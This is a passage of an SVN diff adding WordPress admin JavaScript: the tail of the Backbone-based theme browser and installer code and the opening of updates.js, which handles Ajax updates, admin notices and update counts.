+		// Sets this.view to 'detail'
+		this.setView( 'detail' );
+		$( 'body' ).addClass( 'modal-open' );
+
+		// Set up the theme details view
+		this.overlay = new themes.view.Details({
+			model: self.model
+		});
+
+		this.overlay.render();
+
+		if ( this.model.get( 'hasUpdate' ) ) {
+			$card  = $( '[data-slug="' + this.model.id + '"]' );
+			$modal = $( this.overlay.el );
+
+			if ( $card.find( '.updating-message' ).length ) {
+				$modal.find( '.notice-warning h3' ).remove();
+				$modal.find( '.notice-warning' )
+					.removeClass( 'notice-large' )
+					.addClass( 'updating-message' )
+					.find( 'p' ).text( wp.updates.l10n.updating );
+			} else if ( $card.find( '.notice-error' ).length ) {
+				$modal.find( '.notice-warning' ).remove();
+			}
+		}
+
+		this.$overlay.html( this.overlay.el );
+
+		// Bind to theme:next and theme:previous
+		// triggered by the arrow keys
+		//
+		// Keep track of the current model so we
+		// can infer an index position
+		this.listenTo( this.overlay, 'theme:next', function() {
+			// Renders the next theme on the overlay
+			self.next( [ self.model.cid ] );
+
+		})
+		.listenTo( this.overlay, 'theme:previous', function() {
+			// Renders the previous theme on the overlay
+			self.previous( [ self.model.cid ] );
+		});
+	},
+
+	// This method renders the next theme on the overlay modal
+	// based on the current position in the collection
+	// @params [model cid]
+	next: function( args ) {
+		var self = this,
+			model, nextModel;
+
+		// Get the current theme
+		model = self.collection.get( args[0] );
+		// Find the next model within the collection
+		nextModel = self.collection.at( self.collection.indexOf( model ) + 1 );
+
+		// Sanity check which also serves as a boundary test
+		if ( nextModel !== undefined ) {
+
+			// We have a new theme...
+			// Close the overlay
+			this.overlay.closeOverlay();
+
+			// Trigger a route update for the current model
+			self.theme.trigger( 'theme:expand', nextModel.cid );
+
+		}
+	},
+
+	// This method renders the previous theme on the overlay modal
+	// based on the current position in the collection
+	// @params [model cid]
+	previous: function( args ) {
+		var self = this,
+			model, previousModel;
+
+		// Get the current theme
+		model = self.collection.get( args[0] );
+		// Find the previous model within the collection
+		previousModel = self.collection.at( self.collection.indexOf( model ) - 1 );
+
+		if ( previousModel !== undefined ) {
+
+			// We have a new theme...
+			// Close the overlay
+			this.overlay.closeOverlay();
+
+			// Trigger a route update for the current model
+			self.theme.trigger( 'theme:expand', previousModel.cid );
+
+		}
+	},
+
+	// Dispatch audible search results feedback message
+	announceSearchResults: function( count ) {
+		if ( 0 === count ) {
+			wp.a11y.speak( l10n.noThemesFound );
+		} else {
+			wp.a11y.speak( l10n.themesFound.replace( '%d', count ) );
+		}
+	}
+});
+
+// Search input view controller.
+themes.view.Search = wp.Backbone.View.extend({
+
+	tagName: 'input',
+	className: 'wp-filter-search',
+	id: 'wp-filter-search-input',
+	searching: false,
+
+	attributes: {
+		placeholder: l10n.searchPlaceholder,
+		type: 'search',
+		'aria-describedby': 'live-search-desc'
+	},
+
+	events: {
+		'input': 'search',
+		'keyup': 'search',
+		'blur': 'pushState'
+	},
+
+	initialize: function( options ) {
+
+		this.parent = options.parent;
+
+		this.listenTo( this.parent, 'theme:close', function() {
+			this.searching = false;
+		} );
+
+	},
+
+	search: function( event ) {
+		// Clear on escape.
+		if ( event.type === 'keyup' && event.which === 27 ) {
+			event.target.value = '';
+		}
+
+		// Since doSearch is debounced, it will only run when user input comes to a rest.
+		this.doSearch( event );
+	},
+
+	// Runs a search on the theme collection.
+	doSearch: function( event ) {
+		var options = {};
+
+		this.collection.doSearch( event.target.value.replace( /\+/g, ' ' ) );
+
+		// if search is initiated and key is not return
+		if ( this.searching && event.which !== 13 ) {
+			options.replace = true;
+		} else {
+			this.searching = true;
+		}
+
+		// Update the URL hash
+		if ( event.target.value ) {
+			themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + event.target.value ), options );
+		} else {
+			themes.router.navigate( themes.router.baseUrl( '' ) );
+		}
+	},
+
+	pushState: function( event ) {
+		var url = themes.router.baseUrl( '' );
+
+		if ( event.target.value ) {
+			url = themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( event.target.value ) );
+		}
+
+		this.searching = false;
+		themes.router.navigate( url );
+
+	}
+});
+
+/**
+ * Navigate router.
+ *
+ * @since 4.9.0
+ *
+ * @param {string} url - URL to navigate to.
+ * @param {object} state - State.
+ * @returns {void}
+ */
+function navigateRouter( url, state ) {
+	var router = this;
+	if ( Backbone.history._hasPushState ) {
+		Backbone.Router.prototype.navigate.call( router, url, state );
+	}
+}
+
+// Sets up the routes events for relevant url queries
+// Listens to [theme] and [search] params
+themes.Router = Backbone.Router.extend({
+
+	routes: {
+		'themes.php?theme=:slug': 'theme',
+		'themes.php?search=:query': 'search',
+		'themes.php?s=:query': 'search',
+		'themes.php': 'themes',
+		'': 'themes'
+	},
+
+	baseUrl: function( url ) {
+		return 'themes.php' + url;
+	},
+
+	themePath: '?theme=',
+	searchPath: '?search=',
+
+	search: function( query ) {
+		$( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) );
+	},
+
+	themes: function() {
+		$( '.wp-filter-search' ).val( '' );
+	},
+
+	navigate: navigateRouter
+
+});
+
+// Execute and setup the application
+themes.Run = {
+	init: function() {
+		// Initializes the blog's theme library view
+		// Create a new collection with data
+		this.themes = new themes.Collection( themes.data.themes );
+
+		// Set up the view
+		this.view = new themes.view.Appearance({
+			collection: this.themes
+		});
+
+		this.render();
+
+		// Start debouncing user searches after Backbone.history.start().
+		this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
+	},
+
+	render: function() {
+
+		// Render results
+		this.view.render();
+		this.routes();
+
+		if ( Backbone.History.started ) {
+			Backbone.history.stop();
+		}
+		Backbone.history.start({
+			root: themes.data.settings.adminUrl,
+			pushState: true,
+			hashChange: false
+		});
+	},
+
+	routes: function() {
+		var self = this;
+		// Bind to our global thx object
+		// so that the object is available to sub-views
+		themes.router = new themes.Router();
+
+		// Handles theme details route event
+		themes.router.on( 'route:theme', function( slug ) {
+			self.view.view.expand( slug );
+		});
+
+		themes.router.on( 'route:themes', function() {
+			self.themes.doSearch( '' );
+			self.view.trigger( 'theme:close' );
+		});
+
+		// Handles search route event
+		themes.router.on( 'route:search', function() {
+			$( '.wp-filter-search' ).trigger( 'keyup' );
+		});
+
+		this.extraRoutes();
+	},
+
+	extraRoutes: function() {
+		return false;
+	}
+};
+
+// Extend the main Search view
+themes.view.InstallerSearch =  themes.view.Search.extend({
+
+	events: {
+		'input': 'search',
+		'keyup': 'search'
+	},
+
+	terms: '',
+
+	// Handles Ajax request for searching through themes in public repo
+	search: function( event ) {
+
+		// Tabbing or reverse tabbing into the search input shouldn't trigger a search
+		if ( event.type === 'keyup' && ( event.which === 9 || event.which === 16 ) ) {
+			return;
+		}
+
+		this.collection = this.options.parent.view.collection;
+
+		// Clear on escape.
+		if ( event.type === 'keyup' && event.which === 27 ) {
+			event.target.value = '';
+		}
+
+		this.doSearch( event.target.value );
+	},
+
+	doSearch: function( value ) {
+		var request = {};
+
+		// Don't do anything if the search terms haven't changed.
+		if ( this.terms === value ) {
+			return;
+		}
+
+		// Updates terms with the value passed.
+		this.terms = value;
+
+		request.search = value;
+
+		// Intercept an [author] search.
+		//
+		// If input value starts with `author:` send a request
+		// for `author` instead of a regular `search`
+		if ( value.substring( 0, 7 ) === 'author:' ) {
+			request.search = '';
+			request.author = value.slice( 7 );
+		}
+
+		// Intercept a [tag] search.
+		//
+		// If input value starts with `tag:` send a request
+		// for `tag` instead of a regular `search`
+		if ( value.substring( 0, 4 ) === 'tag:' ) {
+			request.search = '';
+			request.tag = [ value.slice( 4 ) ];
+		}
+
+		$( '.filter-links li > a.current' )
+			.removeClass( 'current' )
+			.removeAttr( 'aria-current' );
+
+		$( 'body' ).removeClass( 'show-filters filters-applied show-favorites-form' );
+		$( '.drawer-toggle' ).attr( 'aria-expanded', 'false' );
+
+		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
+		// or searching the local cache
+		this.collection.query( request );
+
+		// Set route
+		themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( value ) ), { replace: true } );
+	}
+});
+
+themes.view.Installer = themes.view.Appearance.extend({
+
+	el: '#wpbody-content .wrap',
+
+	// Register events for sorting and filters in theme-navigation
+	events: {
+		'click .filter-links li > a': 'onSort',
+		'click .theme-filter': 'onFilter',
+		'click .drawer-toggle': 'moreFilters',
+		'click .filter-drawer .apply-filters': 'applyFilters',
+		'click .filter-group [type="checkbox"]': 'addFilter',
+		'click .filter-drawer .clear-filters': 'clearFilters',
+		'click .edit-filters': 'backToFilters',
+		'click .favorites-form-submit' : 'saveUsername',
+		'keyup #wporg-username-input': 'saveUsername'
+	},
+
+	// Initial render method
+	render: function() {
+		var self = this;
+
+		this.search();
+		this.uploader();
+
+		this.collection = new themes.Collection();
+
+		// Bump `collection.currentQuery.page` and request more themes if we hit the end of the page.
+		this.listenTo( this, 'theme:end', function() {
+
+			// Make sure we are not already loading
+			if ( self.collection.loadingThemes ) {
+				return;
+			}
+
+			// Set loadingThemes to true and bump page instance of currentQuery.
+			self.collection.loadingThemes = true;
+			self.collection.currentQuery.page++;
+
+			// Use currentQuery.page to build the themes request.
+			_.extend( self.collection.currentQuery.request, { page: self.collection.currentQuery.page } );
+			self.collection.query( self.collection.currentQuery.request );
+		});
+
+		this.listenTo( this.collection, 'query:success', function() {
+			$( 'body' ).removeClass( 'loading-content' );
+			$( '.theme-browser' ).find( 'div.error' ).remove();
+		});
+
+		this.listenTo( this.collection, 'query:fail', function() {
+			$( 'body' ).removeClass( 'loading-content' );
+			$( '.theme-browser' ).find( 'div.error' ).remove();
+			$( '.theme-browser' ).find( 'div.themes' ).before( '<div class="error"><p>' + l10n.error + '</p><p><button class="button try-again">' + l10n.tryAgain + '</button></p></div>' );
+			$( '.theme-browser .error .try-again' ).on( 'click', function( e ) {
+				e.preventDefault();
+				$( 'input.wp-filter-search' ).trigger( 'input' );
+			} );
+		});
+
+		if ( this.view ) {
+			this.view.remove();
+		}
+
+		// Set ups the view and passes the section argument
+		this.view = new themes.view.Themes({
+			collection: this.collection,
+			parent: this
+		});
+
+		// Reset pagination every time the install view handler is run
+		this.page = 0;
+
+		// Render and append
+		this.$el.find( '.themes' ).remove();
+		this.view.render();
+		this.$el.find( '.theme-browser' ).append( this.view.el ).addClass( 'rendered' );
+	},
+
+	// Handles all the rendering of the public theme directory
+	browse: function( section ) {
+		// Create a new collection with the proper theme data
+		// for each section
+		this.collection.query( { browse: section } );
+	},
+
+	// Sorting navigation
+	onSort: function( event ) {
+		var $el = $( event.target ),
+			sort = $el.data( 'sort' );
+
+		event.preventDefault();
+
+		$( 'body' ).removeClass( 'filters-applied show-filters' );
+		$( '.drawer-toggle' ).attr( 'aria-expanded', 'false' );
+
+		// Bail if this is already active
+		if ( $el.hasClass( this.activeClass ) ) {
+			return;
+		}
+
+		this.sort( sort );
+
+		// Trigger a router.naviagte update
+		themes.router.navigate( themes.router.baseUrl( themes.router.browsePath + sort ) );
+	},
+
+	sort: function( sort ) {
+		this.clearSearch();
+
+		// Track sorting so we can restore the correct tab when closing preview.
+		themes.router.selectedTab = sort;
+
+		$( '.filter-links li > a, .theme-filter' )
+			.removeClass( this.activeClass )
+			.removeAttr( 'aria-current' );
+
+		$( '[data-sort="' + sort + '"]' )
+			.addClass( this.activeClass )
+			.attr( 'aria-current', 'page' );
+
+		if ( 'favorites' === sort ) {
+			$( 'body' ).addClass( 'show-favorites-form' );
+		} else {
+			$( 'body' ).removeClass( 'show-favorites-form' );
+		}
+
+		this.browse( sort );
+	},
+
+	// Filters and Tags
+	onFilter: function( event ) {
+		var request,
+			$el = $( event.target ),
+			filter = $el.data( 'filter' );
+
+		// Bail if this is already active
+		if ( $el.hasClass( this.activeClass ) ) {
+			return;
+		}
+
+		$( '.filter-links li > a, .theme-section' )
+			.removeClass( this.activeClass )
+			.removeAttr( 'aria-current' );
+		$el
+			.addClass( this.activeClass )
+			.attr( 'aria-current', 'page' );
+
+		if ( ! filter ) {
+			return;
+		}
+
+		// Construct the filter request
+		// using the default values
+		filter = _.union( [ filter, this.filtersChecked() ] );
+		request = { tag: [ filter ] };
+
+		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
+		// or searching the local cache
+		this.collection.query( request );
+	},
+
+	// Clicking on a checkbox to add another filter to the request
+	addFilter: function() {
+		this.filtersChecked();
+	},
+
+	// Applying filters triggers a tag request
+	applyFilters: function( event ) {
+		var name,
+			tags = this.filtersChecked(),
+			request = { tag: tags },
+			filteringBy = $( '.filtered-by .tags' );
+
+		if ( event ) {
+			event.preventDefault();
+		}
+
+		if ( ! tags ) {
+			wp.a11y.speak( l10n.selectFeatureFilter );
+			return;
+		}
+
+		$( 'body' ).addClass( 'filters-applied' );
+		$( '.filter-links li > a.current' )
+			.removeClass( 'current' )
+			.removeAttr( 'aria-current' );
+
+		filteringBy.empty();
+
+		_.each( tags, function( tag ) {
+			name = $( 'label[for="filter-id-' + tag + '"]' ).text();
+			filteringBy.append( '<span class="tag">' + name + '</span>' );
+		});
+
+		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
+		// or searching the local cache
+		this.collection.query( request );
+	},
+
+	// Save the user's WordPress.org username and get his favorite themes.
+	saveUsername: function ( event ) {
+		var username = $( '#wporg-username-input' ).val(),
+			nonce = $( '#wporg-username-nonce' ).val(),
+			request = { browse: 'favorites', user: username },
+			that = this;
+
+		if ( event ) {
+			event.preventDefault();
+		}
+
+		// save username on enter
+		if ( event.type === 'keyup' && event.which !== 13 ) {
+			return;
+		}
+
+		return wp.ajax.send( 'save-wporg-username', {
+			data: {
+				_wpnonce: nonce,
+				username: username
+			},
+			success: function () {
+				// Get the themes by sending Ajax POST request to api.wordpress.org/themes
+				// or searching the local cache
+				that.collection.query( request );
+			}
+		} );
+	},
+
+	// Get the checked filters
+	// @return {array} of tags or false
+	filtersChecked: function() {
+		var items = $( '.filter-group' ).find( ':checkbox' ),
+			tags = [];
+
+		_.each( items.filter( ':checked' ), function( item ) {
+			tags.push( $( item ).prop( 'value' ) );
+		});
+
+		// When no filters are checked, restore initial state and return
+		if ( tags.length === 0 ) {
+			$( '.filter-drawer .apply-filters' ).find( 'span' ).text( '' );
+			$( '.filter-drawer .clear-filters' ).hide();
+			$( 'body' ).removeClass( 'filters-applied' );
+			return false;
+		}
+
+		$( '.filter-drawer .apply-filters' ).find( 'span' ).text( tags.length );
+		$( '.filter-drawer .clear-filters' ).css( 'display', 'inline-block' );
+
+		return tags;
+	},
+
+	activeClass: 'current',
+
+	/*
+	 * When users press the "Upload Theme" button, show the upload form in place.
+	 */
+	uploader: function() {
+		var uploadViewToggle = $( '.upload-view-toggle' ),
+			$body = $( document.body );
+
+		uploadViewToggle.on( 'click', function() {
+			// Toggle the upload view.
+			$body.toggleClass( 'show-upload-view' );
+			// Toggle the `aria-expanded` button attribute.
+			uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
+		});
+	},
+
+	// Toggle the full filters navigation
+	moreFilters: function( event ) {
+		var $body = $( 'body' ),
+			$toggleButton = $( '.drawer-toggle' );
+
+		event.preventDefault();
+
+		if ( $body.hasClass( 'filters-applied' ) ) {
+			return this.backToFilters();
+		}
+
+		this.clearSearch();
+
+		themes.router.navigate( themes.router.baseUrl( '' ) );
+		// Toggle the feature filters view.
+		$body.toggleClass( 'show-filters' );
+		// Toggle the `aria-expanded` button attribute.
+		$toggleButton.attr( 'aria-expanded', $body.hasClass( 'show-filters' ) );
+	},
+
+	// Clears all the checked filters
+	// @uses filtersChecked()
+	clearFilters: function( event ) {
+		var items = $( '.filter-group' ).find( ':checkbox' ),
+			self = this;
+
+		event.preventDefault();
+
+		_.each( items.filter( ':checked' ), function( item ) {
+			$( item ).prop( 'checked', false );
+			return self.filtersChecked();
+		});
+	},
+
+	backToFilters: function( event ) {
+		if ( event ) {
+			event.preventDefault();
+		}
+
+		$( 'body' ).removeClass( 'filters-applied' );
+	},
+
+	clearSearch: function() {
+		$( '#wp-filter-search-input').val( '' );
+	}
+});
+
+themes.InstallerRouter = Backbone.Router.extend({
+	routes: {
+		'theme-install.php?theme=:slug': 'preview',
+		'theme-install.php?browse=:sort': 'sort',
+		'theme-install.php?search=:query': 'search',
+		'theme-install.php': 'sort'
+	},
+
+	baseUrl: function( url ) {
+		return 'theme-install.php' + url;
+	},
+
+	themePath: '?theme=',
+	browsePath: '?browse=',
+	searchPath: '?search=',
+
+	search: function( query ) {
+		$( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) );
+	},
+
+	navigate: navigateRouter
+});
+
+
+themes.RunInstaller = {
+
+	init: function() {
+		// Set up the view
+		// Passes the default 'section' as an option
+		this.view = new themes.view.Installer({
+			section: 'featured',
+			SearchView: themes.view.InstallerSearch
+		});
+
+		// Render results
+		this.render();
+
+		// Start debouncing user searches after Backbone.history.start().
+		this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
+	},
+
+	render: function() {
+
+		// Render results
+		this.view.render();
+		this.routes();
+
+		if ( Backbone.History.started ) {
+			Backbone.history.stop();
+		}
+		Backbone.history.start({
+			root: themes.data.settings.adminUrl,
+			pushState: true,
+			hashChange: false
+		});
+	},
+
+	routes: function() {
+		var self = this,
+			request = {};
+
+		// Bind to our global `wp.themes` object
+		// so that the router is available to sub-views
+		themes.router = new themes.InstallerRouter();
+
+		// Handles `theme` route event
+		// Queries the API for the passed theme slug
+		themes.router.on( 'route:preview', function( slug ) {
+
+			// Remove existing handlers.
+			if ( themes.preview ) {
+				themes.preview.undelegateEvents();
+				themes.preview.unbind();
+			}
+
+			// If the theme preview is active, set the current theme.
+			if ( self.view.view.theme && self.view.view.theme.preview ) {
+				self.view.view.theme.model = self.view.collection.findWhere( { 'slug': slug } );
+				self.view.view.theme.preview();
+			} else {
+
+				// Select the theme by slug.
+				request.theme = slug;
+				self.view.collection.query( request );
+				self.view.collection.trigger( 'update' );
+
+				// Open the theme preview.
+				self.view.collection.once( 'query:success', function() {
+					$( 'div[data-slug="' + slug + '"]' ).trigger( 'click' );
+				});
+
+			}
+		});
+
+		// Handles sorting / browsing routes
+		// Also handles the root URL triggering a sort request
+		// for `featured`, the default view
+		themes.router.on( 'route:sort', function( sort ) {
+			if ( ! sort ) {
+				sort = 'featured';
+				themes.router.navigate( themes.router.baseUrl( '?browse=featured' ), { replace: true } );
+			}
+			self.view.sort( sort );
+
+			// Close the preview if open.
+			if ( themes.preview ) {
+				themes.preview.close();
+			}
+		});
+
+		// The `search` route event. The router populates the input field.
+		themes.router.on( 'route:search', function() {
+			$( '.wp-filter-search' ).focus().trigger( 'keyup' );
+		});
+
+		this.extraRoutes();
+	},
+
+	extraRoutes: function() {
+		return false;
+	}
+};
+
+// Ready...
+$( document ).ready(function() {
+	if ( themes.isInstall ) {
+		themes.RunInstaller.init();
+	} else {
+		themes.Run.init();
+	}
+
+	// Update the return param just in time.
+	$( document.body ).on( 'click', '.load-customize', function() {
+		var link = $( this ), urlParser = document.createElement( 'a' );
+		urlParser.href = link.prop( 'href' );
+		urlParser.search = $.param( _.extend(
+			wp.customize.utils.parseQueryString( urlParser.search.substr( 1 ) ),
+			{
+				'return': window.location.href
+			}
+		) );
+		link.prop( 'href', urlParser.href );
+	});
+
+	$( '.broken-themes .delete-theme' ).on( 'click', function() {
+		return confirm( _wpThemeSettings.settings.confirmDelete );
+	});
+});
+
+})( jQuery );
+
+// Align theme browser thickbox
+var tb_position;
+jQuery(document).ready( function($) {
+	tb_position = function() {
+		var tbWindow = $('#TB_window'),
+			width = $(window).width(),
+			H = $(window).height(),
+			W = ( 1040 < width ) ? 1040 : width,
+			adminbar_height = 0;
+
+		if ( $('#wpadminbar').length ) {
+			adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 );
+		}
+
+		if ( tbWindow.size() ) {
+			tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
+			$('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height );
+			tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'});
+			if ( typeof document.body.style.maxWidth !== 'undefined' ) {
+				tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'});
+			}
+		}
+	};
+
+	$(window).resize(function(){ tb_position(); });
+});
Index: /tags/5.0.20/src/wp-admin/js/updates.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/updates.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/updates.js	(revision 56912)
@@ -0,0 +1,2480 @@
+/**
+ * Functions for ajaxified updates, deletions and installs inside the WordPress admin.
+ *
+ * @version 4.2.0
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/* global pagenow */
+
+/**
+ * @param {jQuery}  $                                   jQuery object.
+ * @param {object}  wp                                  WP object.
+ * @param {object}  settings                            WP Updates settings.
+ * @param {string}  settings.ajax_nonce                 AJAX nonce.
+ * @param {object}  settings.l10n                       Translation strings.
+ * @param {object=} settings.plugins                    Base names of plugins in their different states.
+ * @param {Array}   settings.plugins.all                Base names of all plugins.
+ * @param {Array}   settings.plugins.active             Base names of active plugins.
+ * @param {Array}   settings.plugins.inactive           Base names of inactive plugins.
+ * @param {Array}   settings.plugins.upgrade            Base names of plugins with updates available.
+ * @param {Array}   settings.plugins.recently_activated Base names of recently activated plugins.
+ * @param {object=} settings.themes                     Plugin/theme status information or null.
+ * @param {number}  settings.themes.all                 Amount of all themes.
+ * @param {number}  settings.themes.upgrade             Amount of themes with updates available.
+ * @param {number}  settings.themes.disabled            Amount of disabled themes.
+ * @param {object=} settings.totals                     Combined information for available update counts.
+ * @param {number}  settings.totals.count               Holds the amount of available updates.
+ */
+(function( $, wp, settings ) {
+	var $document = $( document );
+
+	wp = wp || {};
+
+	/**
+	 * The WP Updates object.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @type {object}
+	 */
+	wp.updates = {};
+
+	/**
+	 * User nonce for ajax calls.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @type {string}
+	 */
+	wp.updates.ajaxNonce = settings.ajax_nonce;
+
+	/**
+	 * Localized strings.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @type {object}
+	 */
+	wp.updates.l10n = settings.l10n;
+
+	/**
+	 * Current search term.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @type {string}
+	 */
+	wp.updates.searchTerm = '';
+
+	/**
+	 * Whether filesystem credentials need to be requested from the user.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @type {bool}
+	 */
+	wp.updates.shouldRequestFilesystemCredentials = false;
+
+	/**
+	 * Filesystem credentials to be packaged along with the request.
+	 *
+	 * @since 4.2.0
+	 * @since 4.6.0 Added `available` property to indicate whether credentials have been provided.
+	 *
+	 * @type {object} filesystemCredentials                    Holds filesystem credentials.
+	 * @type {object} filesystemCredentials.ftp                Holds FTP credentials.
+	 * @type {string} filesystemCredentials.ftp.host           FTP host. Default empty string.
+	 * @type {string} filesystemCredentials.ftp.username       FTP user name. Default empty string.
+	 * @type {string} filesystemCredentials.ftp.password       FTP password. Default empty string.
+	 * @type {string} filesystemCredentials.ftp.connectionType Type of FTP connection. 'ssh', 'ftp', or 'ftps'.
+	 *                                                         Default empty string.
+	 * @type {object} filesystemCredentials.ssh                Holds SSH credentials.
+	 * @type {string} filesystemCredentials.ssh.publicKey      The public key. Default empty string.
+	 * @type {string} filesystemCredentials.ssh.privateKey     The private key. Default empty string.
+	 * @type {string} filesystemCredentials.fsNonce            Filesystem credentials form nonce.
+	 * @type {bool}   filesystemCredentials.available          Whether filesystem credentials have been provided.
+	 *                                                         Default 'false'.
+	 */
+	wp.updates.filesystemCredentials = {
+		ftp:       {
+			host:           '',
+			username:       '',
+			password:       '',
+			connectionType: ''
+		},
+		ssh:       {
+			publicKey:  '',
+			privateKey: ''
+		},
+		fsNonce: '',
+		available: false
+	};
+
+	/**
+	 * Whether we're waiting for an Ajax request to complete.
+	 *
+	 * @since 4.2.0
+	 * @since 4.6.0 More accurately named `ajaxLocked`.
+	 *
+	 * @type {bool}
+	 */
+	wp.updates.ajaxLocked = false;
+
+	/**
+	 * Admin notice template.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @type {function} A function that lazily-compiles the template requested.
+	 */
+	wp.updates.adminNotice = wp.template( 'wp-updates-admin-notice' );
+
+	/**
+	 * Update queue.
+	 *
+	 * If the user tries to update a plugin while an update is
+	 * already happening, it can be placed in this queue to perform later.
+	 *
+	 * @since 4.2.0
+	 * @since 4.6.0 More accurately named `queue`.
+	 *
+	 * @type {Array.object}
+	 */
+	wp.updates.queue = [];
+
+	/**
+	 * Holds a jQuery reference to return focus to when exiting the request credentials modal.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @type {jQuery}
+	 */
+	wp.updates.$elToReturnFocusToFromCredentialsModal = undefined;
+
+	/**
+	 * Adds or updates an admin notice.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param {object}  data
+	 * @param {*=}      data.selector      Optional. Selector of an element to be replaced with the admin notice.
+	 * @param {string=} data.id            Optional. Unique id that will be used as the notice's id attribute.
+	 * @param {string=} data.className     Optional. Class names that will be used in the admin notice.
+	 * @param {string=} data.message       Optional. The message displayed in the notice.
+	 * @param {number=} data.successes     Optional. The amount of successful operations.
+	 * @param {number=} data.errors        Optional. The amount of failed operations.
+	 * @param {Array=}  data.errorMessages Optional. Error messages of failed operations.
+	 *
+	 */
+	wp.updates.addAdminNotice = function( data ) {
+		var $notice = $( data.selector ), $adminNotice;
+
+		delete data.selector;
+		$adminNotice = wp.updates.adminNotice( data );
+
+		// Check if this admin notice already exists.
+		if ( ! $notice.length ) {
+			$notice = $( '#' + data.id );
+		}
+
+		if ( $notice.length ) {
+			$notice.replaceWith( $adminNotice );
+		} else {
+			if ( 'customize' === pagenow ) {
+				$( '.customize-themes-notifications' ).append( $adminNotice );
+			} else {
+				$( '.wrap' ).find( '> h1' ).after( $adminNotice );
+			}
+		}
+
+		$document.trigger( 'wp-updates-notice-added' );
+	};
+
+	/**
+	 * Handles Ajax requests to WordPress.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param {string} action The type of Ajax request ('update-plugin', 'install-theme', etc).
+	 * @param {object} data   Data that needs to be passed to the ajax callback.
+	 * @return {$.promise}    A jQuery promise that represents the request,
+	 *                        decorated with an abort() method.
+	 */
+	wp.updates.ajax = function( action, data ) {
+		var options = {};
+
+		if ( wp.updates.ajaxLocked ) {
+			wp.updates.queue.push( {
+				action: action,
+				data:   data
+			} );
+
+			// Return a Deferred object so callbacks can always be registered.
+			return $.Deferred();
+		}
+
+		wp.updates.ajaxLocked = true;
+
+		if ( data.success ) {
+			options.success = data.success;
+			delete data.success;
+		}
+
+		if ( data.error ) {
+			options.error = data.error;
+			delete data.error;
+		}
+
+		options.data = _.extend( data, {
+			action:          action,
+			_ajax_nonce:     wp.updates.ajaxNonce,
+			_fs_nonce:       wp.updates.filesystemCredentials.fsNonce,
+			username:        wp.updates.filesystemCredentials.ftp.username,
+			password:        wp.updates.filesystemCredentials.ftp.password,
+			hostname:        wp.updates.filesystemCredentials.ftp.hostname,
+			connection_type: wp.updates.filesystemCredentials.ftp.connectionType,
+			public_key:      wp.updates.filesystemCredentials.ssh.publicKey,
+			private_key:     wp.updates.filesystemCredentials.ssh.privateKey
+		} );
+
+		return wp.ajax.send( options ).always( wp.updates.ajaxAlways );
+	};
+
+	/**
+	 * Actions performed after every Ajax request.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param {object}  response
+	 * @param {array=}  response.debug     Optional. Debug information.
+	 * @param {string=} response.errorCode Optional. Error code for an error that occurred.
+	 */
+	wp.updates.ajaxAlways = function( response ) {
+		if ( ! response.errorCode || 'unable_to_connect_to_filesystem' !== response.errorCode ) {
+			wp.updates.ajaxLocked = false;
+			wp.updates.queueChecker();
+		}
+
+		if ( 'undefined' !== typeof response.debug && window.console && window.console.log ) {
+			_.map( response.debug, function( message ) {
+				window.console.log( $( '<p />' ).html( message ).text() );
+			} );
+		}
+	};
+
+	/**
+	 * Refreshes update counts everywhere on the screen.
+	 *
+	 * @since 4.7.0
+	 */
+	wp.updates.refreshCount = function() {
+		var $adminBarUpdates              = $( '#wp-admin-bar-updates' ),
+			$dashboardNavMenuUpdateCount  = $( 'a[href="update-core.php"] .update-plugins' ),
+			$pluginsNavMenuUpdateCount    = $( 'a[href="plugins.php"] .update-plugins' ),
+			$appearanceNavMenuUpdateCount = $( 'a[href="themes.php"] .update-plugins' ),
+			itemCount;
+
+		$adminBarUpdates.find( '.ab-item' ).removeAttr( 'title' );
+		$adminBarUpdates.find( '.ab-label' ).text( settings.totals.counts.total );
+
+		// Remove the update count from the toolbar if it's zero.
+		if ( 0 === settings.totals.counts.total ) {
+			$adminBarUpdates.find( '.ab-label' ).parents( 'li' ).remove();
+		}
+
+		// Update the "Updates" menu item.
+		$dashboardNavMenuUpdateCount.each( function( index, element ) {
+			element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.total );
+		} );
+		if ( settings.totals.counts.total > 0 ) {
+			$dashboardNavMenuUpdateCount.find( '.update-count' ).text( settings.totals.counts.total );
+		} else {
+			$dashboardNavMenuUpdateCount.remove();
+		}
+
+		// Update the "Plugins" menu item.
+		$pluginsNavMenuUpdateCount.each( function( index, element ) {
+			element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.plugins );
+		} );
+		if ( settings.totals.counts.total > 0 ) {
+			$pluginsNavMenuUpdateCount.find( '.plugin-count' ).text( settings.totals.counts.plugins );
+		} else {
+			$pluginsNavMenuUpdateCount.remove();
+		}
+
+		// Update the "Appearance" menu item.
+		$appearanceNavMenuUpdateCount.each( function( index, element ) {
+			element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.themes );
+		} );
